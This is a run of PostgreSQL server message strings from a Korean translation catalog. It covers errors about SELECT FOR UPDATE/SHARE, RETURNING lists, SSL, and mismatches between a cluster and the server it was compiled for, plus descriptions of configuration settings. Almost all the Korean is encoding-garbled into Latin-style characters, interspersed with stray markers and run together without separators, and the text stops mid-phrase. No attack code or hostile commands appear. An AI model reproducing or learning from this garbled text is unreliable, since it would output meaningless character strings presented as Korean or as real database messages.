ë˜ëŠ” 함수는 사용할 수 없습니다.superuserë§Œ 신뢰ë˜ì§€ 않는 언어를 사용할 수 있습니다."%s" ì—°ì‚°ìž í´ëž˜ìŠ¤ëŠ” ì´ë¯¸ 기본 ì—°ì‚°ìž í´ëž˜ìŠ¤ìž…ë‹ˆë‹¤ì˜µì…˜ë“¤:
<qbq>순서 지정 ì—°ì‚°ìžëŠ” btree ì—°ì‚°ìž íŒ¨ë°€ë¦¬ì˜ "<" or ">" 멤버여야 합니다.ì‚¬ìš©ìž "%s"ì˜ PAM ì¸ì¦ì„ 실패했습니다ì†ìƒì·¨ì†Œ ìš”ì²­ì˜ PID %dê³¼(와) ì¼ì¹˜í•˜ëŠ” 프로세스가 ì—†ìŒPID %d í”„ë¡œê·¸ëž¨ì€ PostgreSQL 서버 프로세스가 아닙니다XML ì„ ì–¸ 구문 ë¶„ì„ ì¤‘: &apos;?&gt;&apos;ê°€ 필요합니다.ë‚¨ì€ ë””ìŠ¤í¬ ê³µê°„ì´ ìžˆëŠ”ì§€ 확ì¸í•´ 보십시오.ì•„ "%s" alias를 참조해야 í•  것 같습니다.ë‚ ì§œ 표현 ë°©ì‹("datestyle")ì„ ë‹¤ë¥¸ 것으로 사용하고 있는 듯 합니다.액세스 ê¶Œí•œì€ u=rwx (0700) ê°’ì´ì–´ì•¼ 합니다.서수 위치 %dì˜ ì‚­ì œëœ ì†ì„±ì—서 실제 스토리지 불ì¼ì¹˜ê°€ ë°œìƒí•©ë‹ˆë‹¤.REINDEX 명령으로 다시 ì¸ë±ìŠ¤ë¥¼ 만드세요PostgreSQLì—서는 leap second를 ì§€ì›í•˜ì§€ 않습니다프리셋 옵션들관계 ìž‘ì„±ì„ ê³„ì†í•©ë‹ˆë‹¤.%d 프로세스가 %s ìƒíƒœë¡œ 지연ë˜ê³  있ìŒ(해당 작업: %s); %d í”„ë¡œì„¸ìŠ¤ì— ì˜í•´ 블ë¡í‚¹ë˜ì—ˆìŒì—°ì‚°ìžë¥¼ 위해서는 ë‘ê°œì˜ ì¸ìˆ˜ ìžë£Œí˜•ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤.쿼리:쿼리 튜ë‹ì¿¼ë¦¬ íŠœë‹ / ì¼ë°˜ì ì¸ 쿼리 최ì í™”기쿼리 íŠœë‹ / 기타 실행계íšê¸° 옵션들쿼리 íŠœë‹ / 실행계íšê¸° 비용 ìƒìˆ˜ì¿¼ë¦¬ íŠœë‹ / 실행계íšê¸° 메서드 설정쿼리ì—서 서수 위치 %dì— ìžˆëŠ” ì‚­ì œëœ ì—´ì˜ ê°’ì„ ì œê³µí•©ë‹ˆë‹¤.매개 ë³€ìˆ˜ì˜ ê°’ìœ¼ë¡œ RESETì€ ì˜¬ 수 ì—†ìŒRETURNING 목ë¡ì— 너무 ì ì€ í•­ëª©ì´ ìžˆìŠµë‹ˆë‹¤RETURNING 목ë¡ì´ 너무 ë§Žì€ í•­ëª©ë¥¼ 가지고 있습니다RETURNING 목ë¡ì˜ %d번째 í•­ëª©ì˜ í¬ê¸°ê°€ "%s" ì—´ì˜ í¬ê¸°ì™€ 틀립니다RETURNING 목ë¡ì˜ %d번째 í•­ëª©ì˜ ìžë£Œí˜•ì´ "%s" ì—´ì˜ ìžë£Œí˜•ê³¼ 틀립니다RETURNING 목ë¡ì€ conditional ruleì—서는 ì§€ì›í•˜ì§€ 않습니다RETURNING 목ë¡ì€ non-INSTEAD ruleì—서는 ì§€ì›í•˜ì§€ 않습니다RIGHT JOINì€ ë³‘í•©-ì¡°ì¸ ê°€ëŠ¥ ì¡°ì¸ ì¡°ê±´ì—서만 ì§€ì›ë¨ROW() ì—´ì€ %s ìžë£Œí˜•ì„ ê°€ì§‘ë‹ˆë‹¤. %s ìžë£Œí˜• 대신ì—ROWS는 양수여야 함REINDEX 명령으로 ì¸ë±ìŠ¤ë¥¼ 새로 만드십시오.<qbq>다른 로캘로 ë°ì´í„°ë² ì´ìŠ¤ë¥¼ 다시 만들거나 누ë½ëœ ë¡œìº˜ì„ ì„¤ì¹˜í•˜ì‹­ì‹œì˜¤.<qbq>ì´ ì°¸ì¡° 무결성 트리거와 해당 ì§ì„ 제거한 후 ALTER TABLE <qbq>ADD CONSTRAINT를 수행하십시오.보고와 로그보고와 로그 / 로그 내용보고와 로그 / 로그 시ì ë³´ê³ ì™€ 로그 / 로그 위치ìžì› 사용량ìžì› 사용량 / ì»¤ë„ ìžì›ìžì› 사용량 / ë©”ëª¨ë¦¬ë°˜í™˜ëœ í˜•ì‹ì€ %sì¸ë°(서수 위치 %d) 쿼리ì—는 %sì´(ê°€) 필요합니다.OUT 매개 ë³€ìˆ˜ì— ì •ì˜ëœ í–‰ 형ì‹ì´ 다릅니다.pg_stop_backup() 함수를 실행하고 나서 다시 시ë„하세요.서버를 조용히 실행함.S:5í…Œì´ë¸”ì´ ëª…ì‹œë˜ì§€ ì•Šì€ SELECT * êµ¬ë¬¸ì€ ìœ íš¨í•˜ì§€ 않습니다.SELECT DISTINCT ON 표현ì‹ì€ 반드시 초기 ORDER BY 표현ì‹ê³¼ ì¼ì¹˜í•˜ì—¬ì•¼ 한다SELECT FOR UPDATE/SHARE 는 NEW ë˜ëŠ” OLD ì— ì ìš©ë  수 없다SELECT FOR UPDATE/SHARE 구문ì—서는 VALUES를 사용할 수 ì—†ìŒSELECT FOR UPDATE/SHARE 는 í•¨ìˆ˜ë‚´ì— ì‚¬ìš©í•  수 없다SELECT FOR UPDATE/SHARE 는 join ì— ì‚¬ìš©í•  수 없다SELECT FOR UPDATE/SHARE 구문ì—서는 outer joinì˜ null ê°’ì´ ì˜¬ 수 있는 ì¸¡ë©´ì„ ì‚¬ìš©í•  수 없습니다SELECT FOR UPDATE/SHARE 구문ì—서는 서브쿼리를 사용할 수 ì—†ìŒSELECT FOR UPDATE/SHARE 는 DISTINCT 구절과 함께 사용할 수 없다SELECT FPR UPDATE/SHARE 는 GROUP BY 구절과 함께 사용할 수 없다SELECT FOR UPDATE/SHARE 는 HAVING 구절과 함께 사용할 수 없다SELECT FOR UPDATE/SHARE êµ¬ë¬¸ì€ UNION/INTERSECT/EXCEPT 예약어들과 함께 사용할 수 없습니다.SELECT FOR UPDATE/SHARE 는 집계함수와 ê°™ì´ ì‚¬ìš©í•  수 없다SELECT 룰(rule)ì˜ ëŒ€ìƒ ì—”íŠ¸ë¦¬ 번호가(%d)ê°€ "%s" ì—´ì˜ ì´ë¦„ê³¼ 틀립니다SELECT 룰(rule)ì˜ ëŒ€ìƒ ì—”íŠ¸ë¦¬ 번호(%d)ê°€ "%s" ì—´ì˜ í¬ê¸°ì™€ 틀립니다SELECT 룰(rule)ì˜ ëŒ€ìƒ ì—”íŠ¸ë¦¬ 번호(%d)ê°€ "%s" ì—´ì˜ ìžë£Œí˜•ê³¼ 틀립니다SELECT 룰(rule)ì˜ ëŒ€ìƒ ëª©ë¡ì´ 너무 ì ì€ 엔트리를 가지고 있습니다SELECT 룰(rule)ì˜ ëŒ€ìƒ ëª©ë¡ì´ 너무 ë§Žì€ ì—”íŠ¸ë¦¬ë¥¼ 가지고 있습니다SET %s ëª…ë ¹ì€ í•˜ë‚˜ì˜ ê°’ë§Œ 지정해야합니다SET AUTOCOMMIT TO OFF ê¸°ëŠ¥ì€ ë” ì´ìƒ ì§€ì›í•˜ì§€ 않ìŒì¿¼ë¦¬ë³´ë‹¤ 먼저 SET TRANSACTION ISOLATION LEVELì„ í˜¸ì¶œí•´ì•¼ 함하위 트랜잭션ì—서 SET TRANSACTION ISOLATION LEVELì„ í˜¸ì¶œí•˜ì§€ 않아야 함SET ëª…ë ¹ì€ ë§¤ê°œ 변수 ì´ë¦„ì´ í•„ìš”í•©ë‹ˆë‹¤"%s" SQL 함수??? SQL function "%s" during inlining, ì´ í•¨ìˆ˜ëŠ” ì¸ë¼ì¸ í•¨ìˆ˜ìž„ì„ ë‚˜íƒ€ë‚´ëŠ” 듯시작 중 SQL 함수 "%s"SQL 함수 "%s"ì˜ ë¬¸ %dSQL 함수는 ì…¸ 타입 %s 수용할 수 ì—†ìŒSQL 함수는 shell type %s 리턴할 수 ì—†ìŒSQL í•¨ìˆ˜ì˜ ì¸ìˆ˜ë¡œ %s ìžë£Œí˜•ì€ ì‚¬ìš©ë  ìˆ˜ 없습니다SQL 함수는 %s ìžë£Œí˜•ì„ ë¦¬í„´í•  수 ì—†ìŒSQL 구문: "%s"SSL SYSCALL ì—러: EOF 검출"%s" SSL ì¸ì¦ì„œ 파기 ëª©ë¡ íŒŒì¼ì´ 무시ë˜ì—ˆìŒ"%s" SSL ì¸ì¦ì„œ 파기 ëª©ë¡ íŒŒì¼ì„ ì°¾ì„ ìˆ˜ ì—†ìŒ, 건너뜀: %sSSL ì¸ì¦ì„œì˜ ì¼ë°˜ ì´ë¦„ì— í¬í•¨ëœ nullì´ ìžˆìŒ"%s" ë¡œë¶€í„°ì˜ SSL ì—°ê²°SSL 오류 번호 %luSSL ì—러: %sSSL 재êµì„­ 요구를 ë³´ë‚´ì§€ 못했습니다SSL ì ‘ì† ê¸°ëŠ¥ì„ ëº€ 채로 서버가 만들어졌습니다.SSL ë¼ì´ë¸ŒëŸ¬ë¦¬ê°€ ì¸ì¦ì„œ 파기 목ë¡ì„ ì§€ì›í•˜ì§€ 않습니다.SSL 중지SSL ë™ìž‘SSL 재êµì„­ 실패명령 구문:  ALTER OPERATOR FAMILYì—서 STORAGE를 지정할 수 ì—†ìŒSYSID는 ë” ì´ìƒ 지정할 수 ì—†ìŒí† í† ìš”ì¼<qbq>16진수 ê°’ì— ëŒ€í•œ ì„¤ëª…ì€ C í¬í•¨ íŒŒì¼ "ntstatus.h"를 참조하십시오.ë” ìžì„¸í•œ ê²ƒì€ ì„œë²„ 로그 파ì¼ì„ 보십시오.표준 시간대 약어 파ì¼ì„ ì„ íƒí•©ë‹ˆë‹¤.9구월"%s" 시퀀스는 "%s" í…Œì´ë¸”ì— ì¢…ì†ë˜ì–´ 있습니다.ì„œë²„ì˜ ê²½ìš° FLOAT4PASSBYVAL = %sì¸ë° ë¼ì´ë¸ŒëŸ¬ë¦¬ì— %sì´(ê°€) 있습니다.ì„œë²„ì˜ ê²½ìš° FLOAT8PASSBYVAL = %sì¸ë° ë¼ì´ë¸ŒëŸ¬ë¦¬ì— %sì´(ê°€) 있습니다.ì„œë²„ì˜ ê²½ìš° FUNC_MAX_ARGS = %dì¸ë° ë¼ì´ë¸ŒëŸ¬ë¦¬ì— %dì´(ê°€) 있습니다.ì„œë²„ì˜ ê²½ìš° INDEX_MAX_KEYS = %dì¸ë° ë¼ì´ë¸ŒëŸ¬ë¦¬ì— %dì´(ê°€) 있습니다.ì„œë²„ì˜ ê²½ìš° NAMEDATALEN = %dì¸ë° ë¼ì´ë¸ŒëŸ¬ë¦¬ì— %dì´(ê°€) 있습니다.서버 버전 = %d.%d, ë¼ì´ë¸ŒëŸ¬ë¦¬ 버전 %d.%d.<qbq>암호화 키를 재협ìƒí•˜ê¸° ì „ì— ë³´ë‚´ê³  ë°›ì„ íŠ¸ëž˜í”½ ì–‘ì„ <qbq>설정합니다.XMLì—서 ë°”ì´ë„ˆë¦¬ ê°’ì´ ì¸ì½”딩ë˜ëŠ” ë°©ì‹ì„ 설정합니다.커밋 시 즉ê°ì ì¸ fsync를 설정합니다.Bonjour broadcast 서비스 ì´ë¦„ì„ ì§€ì •ì´ í¬ê¸°ë¥¼ 초과할 경우 JOIN êµ¬ë¬¸ì´ ê²°í•©ë˜ì§€ 않는 FROM ëª©ë¡ í¬ê¸°ë¥¼ 설정합니다.ì´ í¬ê¸°ë¥¼ 초과할 경우 하위 쿼리가 축소ë˜ì§€ 않는 FROM ëª©ë¡ í¬ê¸°ë¥¼ 설정합니다.TCP í¬íЏ 번호를 지정함.유닉스 ë„ë©”ì¸ ì†Œì¼“ 파ì¼ì˜ 액세스 ê¶Œí•œì„ ì§€ì •í•¨í´ë¼ì´ì–¸íЏ ë¬¸ìž ì„¸íŠ¸ ì¸ì½”ë”©ì„ ì§€ì •í•¨í˜„ìž¬ ë¡¤ì„ ì§€ì •í˜„ìž¬ 트랜잭션 ë…립성 수준(isolation level)ì„ ì§€ì •í•¨.현재 íŠ¸ëžœìž­ì…•ì˜ ì½ê¸° ì „ìš© ìƒíƒœë¥¼ 지정합니다.새로운 íŠ¸ëžœìž­ì…˜ì˜ ìƒíƒœë¥¼ 초기값으로 ì½ê¸°ì „용으로 설정합니다.기본 통계 대ìƒì„ 지정합니다.í…Œì´ë¸” ë° ì¸ë±ìŠ¤ë¥¼ 만들 기본 í…Œì´ë¸”스페ì´ìŠ¤ë¥¼ 설정합니다.트랜잭션과 트랜잭션 ë¡œê·¸ì˜ ì ìš© 사ì´ì˜ ê°„ê²©ì„ microsecond 단위로 지정함로그 파ì¼ì˜ ëŒ€ìƒ ë””ë ‰í„°ë¦¬ë¥¼ 설정합니다.서버 로그 ì¶œë ¥ì„ ìœ„í•œ 대ìƒì„ 지정합니다.유닉스 ë„ë©”ì¸ ì†Œì¼“ì„ ë§Œë“¤ 디렉터리를 지정합니다.날짜와 시간 ê°’ì„ ë‚˜íƒ€ë‚´ëŠ” ëª¨ì–‘ì„ ì§€ì •í•©ë‹ˆë‹¤.로그 파ì¼ì˜ íŒŒì¼ ì´ë¦„ íŒ¨í„´ì„ ì„¤ì •í•©ë‹ˆë‹¤.서비스할 호스트ì´ë¦„ì´ë‚˜, IP를 지정함.보여질 메시지로 사용할 언어 지정.알려진 ì‚¬ìš©ìž ì§€ì • 변수 í´ëž˜ìФ 목ë¡ì„ 설정합니다.날짜와 시간 ê°’ì„ í‘œí˜„í•  ì–‘ì‹ìœ¼ë¡œ 사용할 로캘 지정.통화금액 표현 ì–‘ì‹ìœ¼ë¡œ 사용할 로캘 지정.ìˆ«ìž í‘œí˜„ ì–‘ì‹ìœ¼ë¡œ 사용할 로캘 지정.Kerberos 서버 키 파ì¼ì˜ 위치를 지정함.정확한 GIN 기준 ê²€ìƒ‰ì— í—ˆìš©ë˜ëŠ” 최대 ê²°ê³¼ 수를 설정합니다.WAL ì²´í¬í¬ì¸íЏ 최대 ê°„ê²©ì„ ì§€ì •í•¨.관리 ìž‘ì—…ì„ ìœ„í•´ ì‚¬ìš©ë  ë©”ëª¨ë¦¬ì˜ ìµœëŒ€ê°’ì„ ì§€ì •í•¨.쿼리 ìž‘ì—…ê³µê°„ì„ ìœ„í•´ ì‚¬ìš©ë  ë©”ëª¨ë¦¬ì˜ ìµœëŒ€ê°’ì„ ì§€ì •í•¨.최대 ë™ì‹œ ì ‘ì†ìˆ˜ë¥¼ 지정합니다.í•˜ë‚˜ì˜ íŠ¸ëžœìž­ì…˜ì—서 사용할 수 있는 최대 잠금 횟수를 지정함.ê°ê°ì˜ 서버 프로세스ì—서 ë™ì‹œì— 열릴 수 있는 최대 íŒŒì¼ ê°¯ìˆ˜ë¥¼ 지정함.ë™ì‹œì— ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ 최대 개수 ì§€ì •ê° ì„¸ì…˜ì—서 사용하는 임시 버í¼ì˜ 최대 개수를 지정스íƒê¹Šì´(KB 단위) ìµœëŒ€ê°’ì„ ì§€ì •í•©ë‹ˆë‹¤.서버 ë¡œê·¸ì— ê¸°ë¡ë  메시지 ìˆ˜ì¤€ì„ ì§€ì •í•¨.í´ë¼ì´ì–¸íЏ ì¸¡ì— ë³´ì—¬ì§ˆ 메시지 ìˆ˜ì¤€ì„ ì§€ì •í•¨.commit_delay 처리하기 ì „ì— ìžˆëŠ” 최소 ë™ì‹œ ì—´ë ¤ 있는 트랜잭션 개수.Kerberos 서비스 ì´ë¦„ì„ ì§€ì •superuser ë™ì‹œ ì ‘ì†ìˆ˜ë¥¼ 지정합니다.ë¶€ë™ì†Œìˆ˜í˜• ê°’ì„ í‘œê¸°í•  때 WAL ê¸°ëŠ¥ì„ ìœ„í•´ 공유 메모리ì—서 사용할 ë””ìŠ¤í¬ íŽ˜ì´ì§€ ë²„í¼ ê°œìˆ˜ë¥¼ 지정함.서버ì—서 사용할 공유 ë©”ëª¨ë¦¬ì˜ ê°œìˆ˜ë¥¼ 지정함유닉스 ë„ë©”ì¸ ì†Œì¼“ì˜ ì†Œìœ ì£¼ë¥¼ 지정ë™ì ìœ¼ë¡œ 불러올 수 있는 ëª¨ë“ˆë“¤ì´ ìžˆëŠ” 경로를 지정함.ë””ìŠ¤í¬ ìºì‹œ í¬ê¸°ì— 대한 ê³„íš ê´€ë¦¬ìžì˜ ê°€ì •ì„ ì„¤ì •í•©ë‹ˆë‹¤.<qbq>비순차ì ìœ¼ë¡œ ì¸ì¶œë˜ëŠ” ë””ìŠ¤í¬ íŽ˜ì´ì§€ì— 대한 ê³„íš ê´€ë¦¬ìžì˜ ì˜ˆìƒ ë¹„ìš©ì„ <qbq>설정합니다.<qbq>순차ì ìœ¼ë¡œ ì¸ì¶œë˜ëŠ” ë””ìŠ¤í¬ íŽ˜ì´ì§€ì— 대한 ê³„íš ê´€ë¦¬ìžì˜ ì˜ˆìƒ ë¹„ìš©ì„ ì„¤ì •í•©ë‹ˆë‹¤.<qbq>ì¸ë±ìФ 스캔 중 ê° ì¸ë±ìФ í•­ëª©ì— ëŒ€í•œ ê³„íš ê´€ë¦¬ìžì˜ ì˜ˆìƒ ì²˜ë¦¬ ë¹„ìš©ì„ <qbq>설정합니다.<qbq>ê° ì—°ì‚°ìž ë˜ëŠ” 함수 í˜¸ì¶œì— ëŒ€í•œ ê³„íš ê´€ë¦¬ìžì˜ ì˜ˆìƒ ì²˜ë¦¬ ë¹„ìš©ì„ <qbq>설정합니다.ê° íŠœí”Œ(í–‰)ì— ëŒ€í•œ ê³„íš ê´€ë¦¬ìžì˜ ì˜ˆìƒ ì²˜ë¦¬ ë¹„ìš©ì„ ì„¤ì •í•©ë‹ˆë‹¤.<qbq>ê²€ìƒ‰ë  ì»¤ì„œ í–‰ì— ëŒ€í•œ ê³„íš ê´€ë¦¬ìžì˜ ì˜ˆìƒ ë¶„ìˆ˜ ê°’ì„ <qbq>설정합니다.syslogì—서 구분할 PostgreSQL ë©”ì‹œì§€ì— ì‚¬ìš©ë  í”„ë¡œê·¸ëž¨ ì´ë¦„ì„ ì§€ì •.ì •ê·œì‹ "flavor"를 설정합니다.스키마로 한정ë˜ì§€ ì•Šì€ ì´ë¦„ì˜ ìŠ¤í‚¤ë§ˆ 검색 순서를 설정합니다.난수 ìƒì„± ì†ë„를 설정합니다.서버 ë¬¸ìž ì½”ë“œ 세트 ì¸ì½”딩 지정.ì„œë²„ì˜ ë°ì´í„° 디렉터리 위치를 지정합니다.ì„œë²„ì˜ ê¸°ë³¸ 환경설정 íŒŒì¼ ê²½ë¡œë¥¼ 지정합니다.세션 ì‚¬ìš©ìž ì´ë¦„ 지정.pg_stat_activity.current_queryì— ì˜ˆì•½ë˜ëŠ” í¬ê¸°(ë°”ì´íЏ)를 설정합니다.syslog ê¸°ëŠ¥ì„ ì‚¬ìš©í•  때, 사용할 syslog "facility" ê°’ì„ ì§€ì •.ì´ ìž„ê³„ê°’ì„ ì´ˆê³¼í•  경우 GEQOê°€ 사용ë˜ëŠ” FROM í•­ëª©ì˜ ìž„ê³„ê°’ì„ ì„¤ì •í•©ë‹ˆë‹¤.시간대(time zone)를 지정함.ê° ìƒˆ íŠ¸ëžœìž­ì…˜ì˜ íŠ¸ëžœìž­ì…˜ 격리 ìˆ˜ì¤€ì„ ì„¤ì •í•©ë‹ˆë‹¤.ì„œë²„ë¡œê·¸ì— ê¸°ë¡ë  구문 종류를 지정합니다.기ë¡ë˜ëŠ” ë©”ì‹œì§€ì˜ ìƒì„¸ ì •ë„를 지정합니다.문ìžì—´ì—서 "\'" ë¬¸ìž ì‚¬ìš©ì„ í—ˆìš©í•  것ì¸ì§€ë¥¼ 정하세요<qbq>Kerberos ë° GSSAPI ì‚¬ìš©ìž ì´ë¦„ì—서 대/소문ìžë¥¼ 구분하지 않ì„ì§€ 여부를 <qbq>설정합니다.<qbq>ì•”ì‹œì  êµ¬ë¬¸ ë¶„ì„ ë° ì§ë ¬í™” ìž‘ì—…ì˜ XML ë°ì´í„°ë¥¼ 문서 ë˜ëŠ” ë‚´ìš© ì¡°ê°ìœ¼ë¡œ <qbq>간주할지 여부를 설정합니다.ShortWord는 0보다 í¬ê±°ë‚˜ 같아야 함미리 쓰기 ë¡œê·¸ì˜ ë¸”ë¡ í¬ê¸°ë¥¼ 표시합니다.ë¬¸ìž ë¶„ë¥˜ ë° ëŒ€/ì†Œë¬¸ìž ë³€í™˜ ë¡œìº˜ì„ í‘œì‹œí•©ë‹ˆë‹¤.ë°ì´í„° ì •ë ¬ 순서 ë¡œìº˜ì„ í‘œì‹œí•©ë‹ˆë‹¤.함수 ì¸ìˆ˜ì˜ 최대 갯수를 ë³´ì—¬ì¤ë‹ˆë‹¤ì¸ë±ìФ í‚¤ì˜ ìµœëŒ€ê°œìˆ˜ë¥¼ ë³´ì—¬ì¤ë‹ˆë‹¤.미리 쓰기 로그 세그먼트당 페ì´ì§€ 수를 표시합니다.서버 ë²„ì „ì„ ì •ìˆ˜í˜•ìœ¼ë¡œ ë³´ì—¬ì¤ë‹ˆë‹¤ì„œë²„ 버전 ë³´ìž„.현재 사용ìžê°€ superuserì¸ì§€ ë³´ì—¬ì¤ë‹ˆë‹¤.<qbq>해싱만 ì§€ì›í•˜ëŠ” ë°ì´í„° 형ì‹ë„ 있고, 정렬만 ì§€ì›í•˜ëŠ” ë°ì´í„° 형ì‹ë„ <qbq>있습니다.ê³µê°„ì´ í•„ìš”í•©ë‹ˆë‹¤.OWNED BY í…Œì´ë¸”.ì—´ ë˜ëŠ” OWNED BY NONEì„ ì§€ì •í•˜ì‹­ì‹œì˜¤.룰(rule) ì´ë¦„ê³¼ 함께 릴레ì´ì…˜(relation) ì´ë¦„ë„ ì§€ì •í•˜ì‹­ì‹œì˜¤<qbq>하위 프로세스를 시작하여 stderr 출력 ë°/ë˜ëŠ” csvlog를 로그 파ì¼ì— 캡처합니다.ìžë™ 청소 하위 프로세스를 실행함통계통계 / 모니터ë§í†µê³„ / 쿼리 ë° ì¸ë±ìФ 사용 통계 수집기<qbq>postmaster를 중지하고 ë…립 실행형 백엔드를 사용하여 "%s" ë°ì´í„°ë² ì´ìŠ¤ì— ì²­ì†Œë¥¼ 수행하십시오.
<qbq>ì´ì „ ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì„ ì»¤ë°‹ ë˜ëŠ” 롤백해야 í•  ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤.<qbq>standard_conforming_stringsê°€ í•´ì œëœ ê²½ìš° 유니코드 ì´ìŠ¤ì¼€ì´í”„와 함께 문ìžì—´ ìƒìˆ˜ë¥¼ <qbq>사용할 수 없습니다.%dë°”ì´íŠ¸ì˜ ë¬¸ìžì—´ì€ 너무 길어서 ì¸ì½”딩 ê·œì¹™ì— ë§žì§€ 않습니다.ì¼ì¼ìš”ì¼ì‹œìŠ¤í…œ 허용치 %d, 서버 최소 허용치 %d.시스템 카탈로그 ë³€ê²½ì€ í˜„ìž¬ 허용하지 않습니다.TIME(%d)%s ì •ë°€ë„로 ìŒìˆ˜ë¥¼ 사용할 수 없습니다TIME(%d)%s ì •ë°€ë„는 최대값(%d)으로 줄였습니다TIMESTAMP(%d)%s ì •ë°€ë„로 ìŒìˆ˜ë¥¼ 사용할 수 없습니다TIMESTAMP(%d)%s ì •ë°€ë„는 최대값(%d)으로 줄였습니다TRAP: %s("%s", 파ì¼: "%s", 줄: %d)
TRAP: ExceptionalCondition: ìž˜ëª»ëœ ì¸ìˆ˜
TRUNCATE FOR EACH ROW 트리거는 ì§€ì›ë˜ì§€ 않ìŒ<qbq>"%s" í…Œì´ë¸”ì—서 "%s"ì„(를) ì°¸ì¡°í•˜ëŠ”ë° ON COMMIT <qbq>ì„¤ì •ì´ ê°™ì§€ 않습니다."%s" í…Œì´ë¸”ì€ "%s" 개체를 참조합니다.í…Œì´ë¸”ì— ì¤‘ë³µëœ ê°’ì´ ìžˆìŠµë‹ˆë‹¤.í…Œì´ë¸”ì—는 %s 형ì‹ì´ 있는ë°(서수 위치 %d) 쿼리ì—는 %sì´(ê°€) 필요합니다.í…Œì´ë¸”ì—는 %s ìžë£Œí˜•ì´ì§€ë§Œ, 쿼리ì—서는 %s ìžë£Œí˜•입니다.<qbq>제약 ì¡°ê±´ì— ì˜í•´ 쿼리와 ì¼ì¹˜í•˜ëŠ” í–‰ì´ ì—†ëŠ” 경우 <qbq>í…Œì´ë¸” ìŠ¤ìº”ì„ ê±´ë„ˆëœë‹ˆë‹¤.<qbq>즉, PostgreSQL ë°ì´í„° 파ì¼ì— ì‚¬ìš©ë  ì»¤ë„ì˜ <qbq>ë””ìŠ¤í¬ ìºì‹œ 부분입니다. ì´ ê°’ì€ ë””ìŠ¤í¬ íŽ˜ì´ì§€ 단위로 측정ë˜ë©°, ì¼ë°˜ì ìœ¼ë¡œ ê°ê° <qbq>8KB입니다.<qbq>ë°°ì—´ì€ ë‘ ë²ˆì§¸ ì¶•ì˜ ê¸¸ì´ê°€ 2ì¸ 2ì°¨ì› ë°°ì—´ì´ì–´ì•¼ 합니다.ì„ íƒí•œ LC_COLLATE 설정ì—는 %s ì¸ì½”ë”©ì´ í•„ìš”í•©ë‹ˆë‹¤.ì„ íƒí•œ LC_CTYPE 설정ì—는 %s ì¸ì½”ë”©ì´ í•„ìš”í•©ë‹ˆë‹¤.ì´ ë°ì´í„° 디렉터리는 PostgreSQL %ld.%ld 버전으로 초기화 ë˜ì–´ìžˆëŠ”ë°, ì´ ì„œë²„ì˜ %s ë²„ì „ì€ ì´ ë²„ì „ê³¼ í˜¸í™˜ì„±ì´ ì—†ìŠµë‹ˆë‹¤.<qbq>ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ê°€ 서버 실행 파ì¼ê³¼ 다른 ë¶€ë™ ì†Œìˆ˜ì  ìˆ«ìž í˜•ì‹ì„ <qbq>사용하는 것 같습니다.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” BLCKSZ %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 BLCKSZ %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” CATALOG_VERSION_NO %d 버전으로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 CATALOG_VERSION_NO %d 버전으로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” HAVE_INT64_TIMESTAMP ê°’ì´ true로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 HAVE_INT64_TIMESTAMP ê°’ì´ false로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” INDEX_MAX_KEYS %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 INDEX_MAX_KEYS %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” MAXALIGN %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 MAXALIGN %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” NAMEDATALEN %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 NAMEDATALEN %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” PG_CONTROL_VERSION %d 버전으로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 PG_CONTROL_VERSION %d 버전으로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” RELSEG_SIZE %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 RELSEG_SIZE %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” XLOG_BLCKSZ %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 XLOG_BLCKSZ %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” XLOG_SEG_SIZE %d (으)로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 XLOG_SEG_SIZE %d (으)로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ì´ ë°ì´í„°ë² ì´ìФ í´ëŸ¬ìŠ¤í„°ëŠ” HAVE_INT64_TIMESTAMP ê°’ì´ false로 초기화 ë˜ì—ˆì§€ë§Œ, 서버는 HAVE_INT64_TIMESTAMP ê°’ì´ true로 ì»´íŒŒì¼ ë˜ì–´ìžˆìŠµë‹ˆë‹¤.ë°ì´í„°ë² ì´ìФ ë””ë ‰í„°ë¦¬ì— "%s" 하위 디렉터리가 없습니다그파ì¼ì€ 우연찮게 ì™¼ìª½ì„ 